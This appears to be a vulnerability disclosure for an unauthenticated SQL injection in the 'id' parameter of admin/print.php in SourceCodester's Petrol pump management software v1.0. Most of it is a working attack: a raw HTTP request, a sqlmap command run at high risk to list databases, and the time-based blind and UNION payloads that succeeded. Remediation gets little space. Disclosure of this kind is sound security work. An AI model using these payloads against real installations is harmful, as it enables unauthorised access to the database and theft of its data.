Petrol pump management software free download | SourceCodester
SQL Injection vulnerability in sourcecodester Petrol pump management software v1.0, A vulnerability has been found that is rated as high risk, affecting some unknown functionality of the admin\print.php file, Using parameter id to construct malicious SQL statements to obtain sensitive information, thus causing harm
admin\print.php
Here, the user input $_POST['id'] is concatenated into the SQL query statement, which is obviously susceptible to SQL injection attacks
POST /admin/print.php HTTP/1.1
Host: 10.151.167.168:6677
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
id=1*
Save the packet and use sqlmap attack
payload：
python3 sqlmap.py --random-agent --batch -r data.txt --risk 3 --dbs
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 8405 FROM (SELECT(SLEEP(5)))RBvx) AND 'WWQR'='WWQR
Type: UNION query
Title: Generic UNION query (NULL) - 16 columns
Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171706271,0x744d4a644a516944425443614f4c594948754b4a746356615251435951444f72597a74534274424a,0x71706a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
Look at the packet, I did not add a cookie value, indicating that no authentication does not need to log in to remotely launch attacks
You can see that this payload utilizes two injection methods, time-based blind and UNION query, and successfully injects the database name